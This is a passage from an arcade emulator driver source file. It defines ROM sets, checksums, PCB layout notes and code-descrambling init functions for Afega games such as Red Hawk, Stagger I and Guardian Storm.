SHA1(c3f36fc0c97ee54f8ae3a55098c743980496eaa5) ) ROM_REGION( 0x200000, "sprites", 0 ) ROM_LOAD16_BYTE( "obj0even.u7.ic100", 0x000000, 0x080000, CRC(7966ce07) SHA1(231644bafd8970da2c57aeffc2fdaab60f4a512a) ) ROM_LOAD16_BYTE( "obj0odd.u6.ic100", 0x000001, 0x080000, CRC(d4913a08) SHA1(49082a71c71176ff0e122844a40ac4f893342e45) ) ROM_LOAD16_BYTE( "obj1even.u9.ic100", 0x100000, 0x080000, CRC(e01567e8) SHA1(69775752b61ce103d91e127f1fbf7c94b960b835) ) ROM_LOAD16_BYTE( "obj1odd.u8.ic100", 0x100001, 0x080000, CRC(4a383085) SHA1(45351eb67c90936e500b527e9f93c1f70b67bd9a) ) ROM_REGION( 0x140000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD("soundpcm0.bottom.ic30", 0x040000, 0x080000, CRC(34ded136) SHA1(00fe1d6327483bb9e73802beca3ce6d808a20ceb) ) ROM_LOAD("soundpcm1.top.ic30", 0x0c0000, 0x080000, CRC(a8d2abf7) SHA1(5619437e3e1f70f78cb2aeb2d619511be11e02e1) ) ROM_REGION( 0x140000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD("soundpcm2.top.ic27", 0x040000, 0x080000, CRC(29d0a15d) SHA1(a235eec225dd5006dd1f4e21d78fd647335f45dc) ) ROM_LOAD("soundpcm3.bottom.ic27", 0x0c0000, 0x080000, CRC(c764e749) SHA1(8399d3b6807bd263eee607c5625618d19688b394) ) ROM_END ROM_START( manybloc ) ROM_REGION( 0x200000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "1-u33.bin", 0x00001, 0x20000, CRC(07473154) SHA1(e67f637e74dfe5f1be558f963c0b3225254afe33) ) ROM_LOAD16_BYTE( "2-u35.bin", 0x00000, 0x20000, CRC(04acd8c1) SHA1(3ef329e8d25565c7f7166f12137f4df5a057022f) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // Z80? CPU ROM_LOAD( "3-u146.bin", 0x00000, 0x10000, CRC(7bf5fafa) SHA1(d17feca628775860d6c7019a9725bd40fbc5b7d7) ) ROM_REGION( 0x80000, "fgtile", 0 ) ROM_LOAD( "12-u39.bin", 0x000000, 0x10000, CRC(413b5438) SHA1(af366ce998ebe0d25255cc0cb1cd81689d3696ec) ) // 8x8 tiles ROM_REGION( 0x80000, "bgtile", 0 ) ROM_LOAD( "5-u97.bin", 0x000000, 0x40000, CRC(536699e6) SHA1(13ec233f5e4f2a65ac7bc55511e988508269acd5) ) ROM_LOAD( "4-u96.bin", 0x040000, 0x40000, CRC(28af2640) SHA1(08fa57de66cf58fe2256455538261c2d05d27e1e) ) ROM_REGION( 0x080000, "sprites", 0 ) // 16x16 sprite tiles ROM_LOAD16_BYTE( "8-u54b.bin", 0x000000, 0x20000, CRC(03eede77) SHA1(2476a488bb0d39790b2cc7f261ddb973378022ff) ) ROM_LOAD16_BYTE( "10-u86b.bin", 0x000001, 0x20000, CRC(9eab216f) SHA1(616f3ee2d06aa7151af634773a5e8633bff9588e) ) ROM_LOAD16_BYTE( "9-u53b.bin", 0x040000, 0x20000, CRC(dfcfa040) SHA1(f1561defe9746afdb1a5327d0a4435a6f3e87a77) ) ROM_LOAD16_BYTE( "11-u85b.bin", 0x040001, 0x20000, CRC(fe747dd5) SHA1(6ba57a45f4d77e2574de95d4a2f0718c601e7214) ) ROM_REGION( 0x80000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "6-u131.bin", 0x00000, 0x40000, CRC(79a4ae75) SHA1(f7609d0ca18b4af8c5f37daa1795a7a6c6d768ae) ) ROM_LOAD( "7-u132.bin", 0x40000, 0x40000, CRC(21db875e) SHA1(e1d96155b6d8825f7c449f276d02f9769258345d) ) // banked ROM_REGION( 0x80000, "oki2", ROMREGION_ERASE00 ) // OKIM6295 samples // empty ROM_REGION( 0x0420, "proms", 0 ) ROM_LOAD( "u200.bpr", 0x0000, 0x0020, CRC(1823600b) SHA1(7011156ebcb815b176856bd67898ce655ea1b5ab) ) // unknown ROM_LOAD( "u7.bpr", 0x0020, 0x0100, CRC(cfdbb86c) SHA1(588822f6308a860937349c9106c2b4b1a75823ec) ) // unknown ROM_LOAD( "u10.bpr", 0x0120, 0x0200, CRC(8e9b569a) SHA1(1d8d633fbeb72d5e55ad4b282df02e9ca5e240eb) ) // unknown ROM_LOAD( "u120.bpr", 0x0320, 0x0100, CRC(576c5984) SHA1(6e9b7f30de0d91cb766a62abc5888ec9af085a27) ) // unknown ROM_END /* There are many gambling related strings in the Tom Tom Magic ROMs An alt version is called Lucky Ball TomTom Magic, possibly that one is a gambling title and this isn't? There is also known to exsist and alternate titled version called Tong Tong Magic */ ROM_START( tomagic ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 ROM_LOAD16_BYTE( "4.bin", 0x00000, 0x40000, CRC(5055664a) SHA1(d078bd5ab30aedb760bf0a0237484fb56a51d759) ) ROM_LOAD16_BYTE( "3.bin", 0x00001, 0x40000, CRC(3731ecbb) SHA1(25814bd78902cc341cc9d6b19d0a6f837cd802c6) ) ROM_REGION( 0x20000, "audiocpu", 0 ) // Z80 ROM_LOAD( "2.bin", 0x00000, 0x20000, CRC(10359b6a) SHA1(ce59750d2fa57049c424c62e0cbefc604e224e78) ) ROM_REGION( 0x20000, "fgtile", 0 ) ROM_LOAD( "9.bin", 0x000000, 0x20000, CRC(fcceb24b) SHA1(49e3162c34dfa2ef54ffe190ba91bff73cebe12b) ) ROM_REGION( 0x80000, "bgtile", 0 ) ROM_LOAD( "10.bin", 0x000000, 0x80000, CRC(14ef466c) SHA1(02711bd44e146dc30d68cd199023834a63170b0f) ) ROM_REGION( 0x200000, "sprites", 0 ) // 16x16 sprite tiles ROM_LOAD16_BYTE( "7.bin", 0x100001, 0x80000, CRC(0a297c78) SHA1(effe1ee2ab64cb9fbeae0d168346168245942034) ) ROM_LOAD16_BYTE( "5.bin", 0x100000, 0x80000, CRC(88ef65e0) SHA1(20b50ffe6a9a3c17f7c2cbf90461fafa7a7bcf8d) ) ROM_LOAD16_BYTE( "8.bin", 0x000001, 0x80000, CRC(1708d3fb) SHA1(415b6a5079fced0306213953e6124ad4fecc680b) ) ROM_LOAD16_BYTE( "6.bin", 0x000000, 0x80000, CRC(83ae90ba) SHA1(84b0779d18dabcb6086880433b1c4620dcc722cb) ) ROM_REGION( 0x80000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "1.bin", 0x00000, 0x40000, CRC(02b042e3) SHA1(05fca0f83292be49cef457633aba36fed3dc0114) ) // & undumped PROMs - N82S123N, N82S129N & N82S147AN ROM_END /*************************************************************************** Stagger I (AFEGA 1998) Parts: 1 MC68HC000P10 1 Z80 2 Lattice ispLSI 1032E ***************************************************************************/ ROM_START( stagger1 ) // Japan only, with later (c) year of 1998 ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "2.bin", 0x000000, 0x020000, CRC(8555929b) SHA1(b405d81c2a45191111b1a4458ac6b5c0a129b8f1) ) ROM_LOAD16_BYTE( "3.bin", 0x000001, 0x020000, CRC(5b0b63ac) SHA1(239f793b6845a88d1630da790a2762da730a450d) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "1.bin", 0x00000, 0x10000, CRC(5d8cf28e) SHA1(2a440bf5136f95af137b6688e566a14e65be94b1) ) ROM_REGION( 0x100000, "sprites", 0 ) // Sprites, 16x16x4 ROM_LOAD16_BYTE( "7.bin", 0x00000, 0x80000, CRC(048f7683) SHA1(7235b7dcfbb72abf44e60b114e3f504f16d29ebf) ) ROM_LOAD16_BYTE( "6.bin", 0x00001, 0x80000, CRC(051d4a77) SHA1(664182748e72b3e44202caa20f337d02e946ca62) ) ROM_REGION( 0x080000, "bgtile", 0 ) // Layer 0, 16x16x4 ROM_LOAD( "4.bin", 0x00000, 0x80000, CRC(46463d36) SHA1(4265bc4d24ff64e39d9273965701c740d7e3fee0) ) ROM_REGION( 0x00100, "fgtile", ROMREGION_ERASEFF ) // Layer 1, 8x8x4 // Unused ROM_REGION( 0x40000, "oki1", 0 ) // Samples ROM_LOAD( "5", 0x00000, 0x40000, CRC(e911ce33) SHA1(a29c4dea98a22235122303325c63c15fadd3431d) ) ROM_END /*************************************************************************** Red Hawk (c)1997 Afega CPU: MC68HC000P10 (68000) Sound: Z0840006PSC (Z80) AD-65 rebadged OKI M6295 PD2001 rebadged YM2151, 24 pin DIP KA3002 rebadged YM3012, 16 pin DIP OSC: 12.000MHz & 4.000MHz RAM: GM76C256CLL-70 x 6, HT6116-70 x 5, GM76C88AL-12 X 2 Dips: 2 x 8 position Other: Lattice pLSI 1032 x 2 GAL22V10B x 2, GAL16V8B +-----------------------------------------+ | 6116 YM3012 YM2151 M6295 5 4MHz | |VOL 1 | | Z80 pLSI1032 4 | | 76C88 | |J 6116 76C256 76C88 | |A 6116 76C256 | |M 2 76C256 76C256 | |M 3 76C256 76C256 GAL | |A SW1 | | 68000-10 6116 | | 6116 | | 6 | | SW2 pLSI1032 7 | | 12MHz GAL GAL | +-----------------------------------------+ ***************************************************************************/ void afega_state::init_redhawk() { decryptcode( machine(), 23, 22, 21, 20, 19, 18, 16, 15, 14, 17, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 ); } ROM_START( redhawk ) // U.S.A., Canada & South America, (c) 1997 ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "2", 0x000000, 0x020000, CRC(3ef5f326) SHA1(e89c7c24a05886a14995d7c399958dc00ad35d63) ) ROM_LOAD16_BYTE( "3", 0x000001, 0x020000, CRC(9b3a10ef) SHA1(d03480329b23474e5a9e42a75b09d2140eed4443) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "1.bin", 0x00000, 0x10000, CRC(5d8cf28e) SHA1(2a440bf5136f95af137b6688e566a14e65be94b1) ) ROM_REGION( 0x100000, "sprites", 0 ) // Sprites, 16x16x4 ROM_LOAD16_BYTE( "6", 0x000001, 0x080000, CRC(61560164) SHA1(d727ab2d037dab40745dec9c4389744534fdf07d) ) ROM_LOAD16_BYTE( "7", 0x000000, 0x080000, CRC(66a8976d) SHA1(dd9b89cf29eb5557845599d55ef3a15f53c070a4) ) ROM_REGION( 0x080000, "bgtile", 0 ) // Layer 0, 16x16x8 ROM_LOAD( "4", 0x000000, 0x080000, CRC(d6427b8a) SHA1(556de1b5ce29d1c3c54bb315dcaa4dd0848ca462) ) ROM_REGION( 0x00100, "fgtile", ROMREGION_ERASEFF ) // Layer 1, 8x8x4 // Unused ROM_REGION( 0x40000, "oki1", 0 ) // Samples ROM_LOAD( "5", 0x00000, 0x40000, CRC(e911ce33) SHA1(a29c4dea98a22235122303325c63c15fadd3431d) ) ROM_END ROM_START( redhawke ) // Excellent Co., Ldt license (no code scramble), (c) 1997 ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "rhawk2.bin", 0x000000, 0x020000, CRC(6d2e23b4) SHA1(54579d460844e022ab61f32bfec28f00f2d27140) ) ROM_LOAD16_BYTE( "rhawk3.bin", 0x000001, 0x020000, CRC(5e0d6188) SHA1(c6ce8a3adf940893fcb6281348fdb0cdd65fe654) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "1.bin", 0x00000, 0x10000, CRC(5d8cf28e) SHA1(2a440bf5136f95af137b6688e566a14e65be94b1) ) ROM_REGION( 0x100000, "sprites", 0 ) // Sprites, 16x16x4 ROM_LOAD16_BYTE( "rhawk6.bin", 0x000001, 0x080000, CRC(3f980ab6) SHA1(2b9202555f09d99e3575123dfed415bfd815bb2e) ) ROM_LOAD16_BYTE( "rhawk7.bin", 0x000000, 0x080000, CRC(0264ef54) SHA1(1124007538161dfc582f9c7692a20cdee459720c) ) ROM_REGION( 0x080000, "bgtile", 0 ) // Layer 0, 16x16x8 ROM_LOAD( "rhawk4.bin", 0x000000, 0x080000, CRC(d79aa288) SHA1(b8598ab77d2019e5943b22f551e0a38eee5e52b6) ) ROM_REGION( 0x00100, "fgtile", ROMREGION_ERASEFF ) // Layer 1, 8x8x4 // Unused ROM_REGION( 0x40000, "oki1", 0 ) // Samples ROM_LOAD( "5", 0x00000, 0x40000, CRC(e911ce33) SHA1(a29c4dea98a22235122303325c63c15fadd3431d) ) ROM_END void afega_state::init_redhawki() { decryptcode( machine(), 23, 22, 21, 20, 19, 18, 15, 16, 17, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 ); } ROM_START( redhawki ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "rhit-2.bin", 0x000000, 0x020000, CRC(30cade0e) SHA1(2123ca858bcaed5165739107ccc2830561af0b38) ) ROM_LOAD16_BYTE( "rhit-3.bin", 0x000001, 0x020000, CRC(37dbb3c2) SHA1(d1f8258f357b885d38f87d288f98046dbd7d56aa) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "1.bin", 0x00000, 0x10000, CRC(5d8cf28e) SHA1(2a440bf5136f95af137b6688e566a14e65be94b1) ) ROM_REGION( 0x100000, "sprites", 0 ) // Sprites, 16x16x4 ROM_LOAD16_BYTE( "rhit-6.bin", 0x000001, 0x080000, CRC(7cbd5c60) SHA1(69bd728861ea5a02f514d5aed837b549f3c86019) ) ROM_LOAD16_BYTE( "rhit-7.bin", 0x000000, 0x080000, CRC(bcb367c7) SHA1(a8f0527bf75a227cdfd98385549892fb16330aea) ) ROM_REGION( 0x080000, "bgtile", 0 ) // Layer 0, 16x16x8 ROM_LOAD( "rhit-4.bin", 0x000000, 0x080000, CRC(aafb3cc4) SHA1(b5f6608c1e05470fdfb22e0a35a8a74974c4d3cf) ) ROM_REGION( 0x00100, "fgtile", ROMREGION_ERASEFF ) // Layer 1, 8x8x4 // Unused ROM_REGION( 0x40000, "oki1", 0 ) // Samples ROM_LOAD( "5", 0x00000, 0x40000, CRC(e911ce33) SHA1(a29c4dea98a22235122303325c63c15fadd3431d) ) ROM_END ROM_START( redhawks ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "2.bin", 0x000000, 0x020000, CRC(8b427ef8) SHA1(ba615b1a5ed9c1a97bb0b6d121a0d752d138adee) ) ROM_LOAD16_BYTE( "3.bin", 0x000001, 0x020000, CRC(117e3813) SHA1(415b115a96f139094b5927637c5ec8438cc9bd44) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "1.bin", 0x00000, 0x10000, CRC(5d8cf28e) SHA1(2a440bf5136f95af137b6688e566a14e65be94b1) ) ROM_REGION( 0x100000, "sprites", 0 ) // Sprites, 16x16x4 ROM_LOAD16_BYTE( "6.bin", 0x000001, 0x080000, CRC(aa6564e6) SHA1(f8335cddc0bb0674e86ccaca079ca828ed7a6790) ) ROM_LOAD16_BYTE( "7.bin", 0x000000, 0x080000, CRC(5c5b5fa1) SHA1(41946d763f9d72a6322a2f7e3c54a9f6114afe01) ) ROM_REGION( 0x080000, "bgtile", 0 ) // Layer 0, 16x16x8 ROM_LOAD( "4.bin", 0x000000, 0x080000, CRC(03a8d952) SHA1(44252f90e21d6f3841bcdcdac0aba318f94e33b0) ) ROM_REGION( 0x00100, "fgtile", ROMREGION_ERASEFF ) // Layer 1, 8x8x4 // Unused ROM_REGION( 0x40000, "oki1", 0 ) // Samples ROM_LOAD( "5.bin", 0x00000, 0x40000, CRC(e911ce33) SHA1(a29c4dea98a22235122303325c63c15fadd3431d) ) ROM_REGION( 0x300, "proms", 0 ) // Bipolar PROMs, not dumped ROM_LOAD( "n82s147an.bin", 0x000, 0x200, NO_DUMP ) ROM_LOAD( "n82s129n.bin", 0x200, 0x100, NO_DUMP ) ROM_REGION( 0x26e, "plds", 0 ) // PLDs, not dumped ROM_LOAD( "gal16v8d.bin", 0x000, 0x117, NO_DUMP ) ROM_LOAD( "gal20v8b.bin", 0x117, 0x157, NO_DUMP ) ROM_END void afega_state::init_redhawkg() { decryptcode( machine(), 23, 22, 21, 20, 19, 18, 15, 14, 16, 17, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 ); } ROM_START( redhawkg ) // original Afega PCB with Delta Coin sticker ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "2.bin", 0x000000, 0x020000, CRC(ccd459eb) SHA1(677b03f1e3973f0e1f09272d336c2dd9da8f843c) ) ROM_LOAD16_BYTE( "3.bin", 0x000001, 0x020000, CRC(483802fd) SHA1(4ec2b15bc89c12806dab78ae30f5fe24e26d46eb) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "1.bin", 0x00000, 0x10000, CRC(5d8cf28e) SHA1(2a440bf5136f95af137b6688e566a14e65be94b1) ) ROM_REGION( 0x100000, "sprites", 0 ) // Sprites, 16x16x4 ROM_LOAD16_BYTE( "6.bin", 0x000001, 0x080000, CRC(710c9e3c) SHA1(0fcefffa5334554729d5c278bceb48ba66921361) ) ROM_LOAD16_BYTE( "7.bin", 0x000000, 0x080000, CRC(a28c8454) SHA1(c4e14d18c24de73da196230f8ea824300d53e64d) ) ROM_REGION( 0x080000, "bgtile", 0 ) // Layer 0, 16x16x8 ROM_LOAD( "4.bin", 0x000000, 0x080000, CRC(aafb3cc4) SHA1(b5f6608c1e05470fdfb22e0a35a8a74974c4d3cf) ) ROM_REGION( 0x00100, "fgtile", ROMREGION_ERASEFF ) // Layer 1, 8x8x4 // Unused ROM_REGION( 0x40000, "oki1", 0 ) // Samples ROM_LOAD( "5", 0x00000, 0x40000, CRC(e911ce33) SHA1(a29c4dea98a22235122303325c63c15fadd3431d) ) ROM_END ROM_START( redhawkb ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "rhb-1.bin", 0x000000, 0x020000, CRC(e733ea07) SHA1(b1ffeda633d5e701f0e97c79930a54d7b89a85c5) ) ROM_LOAD16_BYTE( "rhb-2.bin", 0x000001, 0x020000, CRC(f9fa5684) SHA1(057ea3eebbaa1a208a72beef21b9368df7032ce1) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "1.bin", 0x00000, 0x10000, CRC(5d8cf28e) SHA1(2a440bf5136f95af137b6688e566a14e65be94b1) ) ROM_REGION( 0x100000, "sprites", 0 ) // Sprites, 16x16x4 ROM_LOAD( "rhb-3.bin", 0x000000, 0x080000, CRC(0318d68b) SHA1(c773de7b6f9c706e62349dc73af4339d1a3f9af6) ) ROM_LOAD( "rhb-4.bin", 0x080000, 0x080000, CRC(ba21c1ef) SHA1(66b0dee67acb5b3a21c7dba057be4093a92e10a9) ) ROM_REGION( 0x080000, "bgtile", 0 ) // Layer 0, 16x16x8 ROM_LOAD( "rhb-5.bin", 0x000000, 0x080000, CRC(d0eaf6f2) SHA1(6e946e13b06df897a63e885c9842816ec908a709) ) ROM_REGION( 0x080000, "fgtile", ROMREGION_ERASEFF ) // Layer 1, 8x8x4 ROM_REGION( 0x40000, "oki1", 0 ) // Samples ROM_LOAD( "5", 0x00000, 0x40000, CRC(e911ce33) SHA1(a29c4dea98a22235122303325c63c15fadd3431d) ) ROM_END ROM_START( redhawkk ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "2", 0x000000, 0x020000, CRC(8c02e81d) SHA1(e79b0369adfe4111d7596df5270c1db8e3618ce5) ) ROM_LOAD16_BYTE( "3", 0x000001, 0x020000, CRC(ab3597ee) SHA1(e9a2e085fa24cb2f500600b84ce2fe3924cf0827) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "1", 0x00000, 0x10000, CRC(5d8cf28e) SHA1(2a440bf5136f95af137b6688e566a14e65be94b1) ) ROM_REGION( 0x100000, "sprites", 0 ) // Sprites, 16x16x4 ROM_LOAD16_BYTE( "6", 0x000001, 0x080000, CRC(6a0b8224) SHA1(07e68a6d13534ff51964d5abeb991508e8c8ea1a) ) ROM_LOAD16_BYTE( "7", 0x000000, 0x080000, CRC(f4fa8211) SHA1(c3fed284127c9f837ab6cbd41d89ad827b423c9e) ) ROM_REGION( 0x080000, "bgtile", 0 ) // Layer 0, 16x16x8 ROM_LOAD( "4", 0x000000, 0x080000, CRC(6255d6a1) SHA1(dcde3149c15717d624ca184454703a15db54bcde) ) ROM_REGION( 0x080000, "fgtile", ROMREGION_ERASEFF ) // Layer 1, 8x8x4 ROM_REGION( 0x40000, "oki1", 0 ) // Samples ROM_LOAD( "5", 0x00000, 0x40000, CRC(e911ce33) SHA1(a29c4dea98a22235122303325c63c15fadd3431d) ) ROM_END /*************************************************************************** Guardian Storm / Sen Jin - Guardian Storm (C) Afega 1998 CPU: 68HC000FN10 (68000, 68 pin PLCC) Sound: Z84C000FEC (Z80, 44 pin PQFP), AD-65 (OKI M6295), BS901 (YM2151, 24 pin DIP), BS901 (YM3012, 16 pin DIP) OSC: 12.000MHz (near 68000), 4.000MHz (Near Z84000) RAM: LH52B256-70LL x 6, HM61S16 x 7, UM6264BK-10L X 2 (6264* on some boards are 52B256) Dips: 2 x 8 position Other: AFEGA AFI-GFSK (68 pin PLCC, located next to 68000) AFEGA AFI-GFLK (208 pin PQFP) +-------------------------------------------------------------+ | YM3012 4MHz | | AD-65 AFEGA1.U95 +-------+ +-------+ AFEGA4.U112| | VOL YM2151 | AFEGA | |MC68000| | +-+ 6116 Z80 |AF1-GFS| | FN10 | AFEGA5.U107| | AFEGA7.U92 | | | | | +-+ AFEGA1.U4 +-------+ +-------+ 52B256 | | 6116 6116 | |J 6116 6116 12MHz 52B256 | |A | |M 6116 | |M 6116 | |A +--------+ 52B256 | | | | | +-+ 6264* | AFEGA | 52B256 | | |AF1-GFLK| AF1-SP.UC13 | +-+ 6264* | | 52B256 AF1-B2.UC8 | | +--------+ AF1-B1.UC3 | | 52B256 | | | +-------------------------------------------------------------+ ROMS: AFEGA7.U92 27C512 - Z80 sound CPU code AFEGA1.U95 27C020 - OKI M6295 sound samples AFEGA1.U4 27C512 - Graphics / text Layer AFEGA4.U112 27C020 + M68000 program code AFEGA5.U107 27C020 | AFEGA3.UC13 ST M27C160 - Sprites AF1-B2.UC8 mask ROM read as 27C160 - Backgrounds AF1-B1.UC3 mask ROM read as 27C160 - Backgrounds ROMS for Sen Jin: AFEGA7.U92 27C512 - Z80 sound CPU code AFEGA1.U95 27C2000 - OKI M6295 sound samples GST-03.U4 27C512 - Graphics / text Layer GST-04.U112 27C2000 + M68000 program code GST-05.U107 27C2000 | AF1-SP.UC13 mask ROM read as 27C160 - Sprites AF1-B2.UC8 mask ROM read as 27C160 - Backgrounds AF1-B1.UC3 mask ROM read as 27C160 - Backgrounds ***************************************************************************/ void afega_state::init_grdnstrm() { decryptcode( machine(), 23, 22, 21, 20, 19, 18, 16, 17, 14, 15, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 ); } ROM_START( grdnstrm ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "afega4.u112", 0x000000, 0x040000, CRC(2244713a) SHA1(41ae66a38931c12462ecae53e1e44c3420d0d235) ) ROM_LOAD16_BYTE( "afega5.u107", 0x000001, 0x040000, CRC(5815c806) SHA1(f6b7809b2e3b29b89289ecc994909434fe34e10d) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "afega7.u92", 0x00000, 0x10000, CRC(5d8cf28e) SHA1(2a440bf5136f95af137b6688e566a14e65be94b1) ) // mask ROM (read as 27C020) ROM_REGION( 0x200000, "sprites", 0 ) // Sprites, 16x16x4 ROM_LOAD( "afega3.uc13", 0x000000, 0x200000, CRC(0218017c) SHA1(5a8a4f07cd3f9dcf62455ddaceaec0cfba8c2de9) ) // ST M27C160 EPROM ROM_REGION( 0x400000, "bgtile", 0 ) // Layer 0, 16x16x8 ROM_LOAD( "afega_af1-b2.uc8", 0x000000, 0x200000, CRC(d68588c2) SHA1(c5f397d74a6ecfd2e375082f82e37c5a330fba62) ) // mask ROM (read as 27C160) ROM_LOAD( "afega_af1-b1.uc3", 0x200000, 0x200000, CRC(f8b200a8) SHA1(a6c43dd57b752d87138d7125b47dc0df83df8987) ) // mask ROM (read as 27C160) ROM_REGION( 0x10000, "fgtile", 0 ) // Layer 1, 8x8x4 ROM_LOAD( "afega1.u4", 0x00000, 0x10000, CRC(9e7ef086) SHA1(db086bb2ceb11f3e24548aa131cc74fe79a2b516) ) ROM_REGION( 0x40000, "oki1", 0 ) // Samples ROM_LOAD( "afega1.u95", 0x00000, 0x40000, CRC(e911ce33) SHA1(a29c4dea98a22235122303325c63c15fadd3431d) ) ROM_END ROM_START( grdnstrmk ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "gst-04.u112", 0x000000, 0x040000, CRC(922c931a) SHA1(1d1511033c8c424535a73f5c5bf58560a8b1842e) ) ROM_LOAD16_BYTE( "gst-05.u107", 0x000001, 0x040000, CRC(d22ca2dc) SHA1(fa21c8ec804570d64f4b167b7f65fd5811435e46) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "afega7.u92", 0x00000, 0x10000, CRC(5d8cf28e) SHA1(2a440bf5136f95af137b6688e566a14e65be94b1) ) ROM_REGION( 0x200000, "sprites", 0 ) // Sprites, 16x16x4 ROM_LOAD( "afega_af1-sp.uc13", 0x000000, 0x200000, CRC(7d4d4985) SHA1(15c6c1aecd3f12050c1db2376f929f1a26a1d1cf) ) // mask ROM (read as 27C160) ROM_REGION( 0x400000, "bgtile", 0 ) // Layer 0, 16x16x8 ROM_LOAD( "afega_af1-b2.uc8", 0x000000, 0x200000, CRC(d68588c2) SHA1(c5f397d74a6ecfd2e375082f82e37c5a330fba62) ) // mask ROM (read as 27C160) ROM_LOAD( "afega_af1-b1.uc3", 0x200000, 0x200000, CRC(f8b200a8) SHA1(a6c43dd57b752d87138d7125b47dc0df83df8987) ) // mask ROM (read as 27C160) ROM_REGION( 0x10000, "fgtile", 0 ) // Layer 1, 8x8x4 ROM_LOAD( "gst-03.u4", 0x00000, 0x10000, CRC(a1347297) SHA1(583f4da991eeedeb523cf4fa3b6900d40e342063) ) ROM_REGION( 0x40000, "oki1", 0 ) // Samples ROM_LOAD( "afega1.u95", 0x00000, 0x40000, CRC(e911ce33) SHA1(a29c4dea98a22235122303325c63c15fadd3431d) ) ROM_END ROM_START( grdnstrmj ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "afega_3.u112", 0x000000, 0x040000, CRC(e51a35fb) SHA1(acb733d0e5c9c54477d0475a64f53d68a84218c6) ) ROM_LOAD16_BYTE( "afega_4.u107", 0x000001, 0x040000, CRC(cb10aa54) SHA1(bb0cb837b5651df4ff8f215854353631a39b730c) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "afega7.u92", 0x00000, 0x10000, CRC(5d8cf28e) SHA1(2a440bf5136f95af137b6688e566a14e65be94b1) ) ROM_REGION( 0x200000, "sprites", 0 ) // Sprites, 16x16x4 ROM_LOAD( "afega_af1-sp.uc13", 0x000000, 0x200000, CRC(7d4d4985) SHA1(15c6c1aecd3f12050c1db2376f929f1a26a1d1cf) ) // mask ROM (read as 27C160) ROM_REGION( 0x400000, "bgtile", 0 ) // Layer 0, 16x16x8 ROM_LOAD( "afega_af1-b2.uc8", 0x000000, 0x200000, CRC(d68588c2) SHA1(c5f397d74a6ecfd2e375082f82e37c5a330fba62) ) // mask ROM (read as 27C160) ROM_LOAD( "afega_af1-b1.uc3", 0x200000, 0x200000, CRC(f8b200a8) SHA1(a6c43dd57b752d87138d7125b47dc0df83df8987) ) // mask ROM (read as 27C160) ROM_REGION( 0x10000, "fgtile", 0 ) // Layer 1, 8x8x4 ROM_LOAD( "gst-03.u4", 0x00000, 0x10000, CRC(a1347297) SHA1(583f4da991eeedeb523cf4fa3b6900d40e342063) ) ROM_REGION( 0x40000, "oki1", 0 ) // Samples ROM_LOAD( "afega1.u95", 0x00000, 0x40000, CRC(e911ce33) SHA1(a29c4dea98a22235122303325c63c15fadd3431d) ) ROM_END ROM_START( grdnstrmv ) // Apples Industries license - Vertical version ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "afega2.u112", 0x000000, 0x040000, CRC(16d41050) SHA1(79b6621dccb286e5adf60c40690083a37746a4f9) ) ROM_LOAD16_BYTE( "afega3.u107", 0x000001, 0x040000, CRC(05920a99) SHA1(ee77da303d6b766c529c426a836777827ac31676) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "afega7.u92", 0x00000, 0x10000, CRC(5d8cf28e) SHA1(2a440bf5136f95af137b6688e566a14e65be94b1) ) // mask ROM (read as 27C020) ROM_REGION( 0x200000, "sprites", 0 ) // Sprites, 16x16x4 ROM_LOAD( "afega6.uc13", 0x000000, 0x200000, CRC(9b54ff84) SHA1(9e120d85cf2fa899e6426dcb4302c8051746facc) ) // ST M27C160 EPROM ROM_REGION( 0x400000, "bgtile", 0 ) // Layer 0, 16x16x8 ROM_LOAD( "afega_af1-b2.uc8", 0x000000, 0x200000, CRC(d68588c2) SHA1(c5f397d74a6ecfd2e375082f82e37c5a330fba62) ) // mask ROM (read as 27C160) ROM_LOAD( "afega_af1-b1.uc3", 0x200000, 0x200000, CRC(f8b200a8) 